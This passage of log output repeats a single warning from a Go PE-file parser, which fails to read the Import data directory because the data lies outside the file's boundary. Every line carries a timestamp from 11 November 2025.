data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:51:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:12+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:13+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:37+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:37+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:37+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:37+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:37+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:37+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:38+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 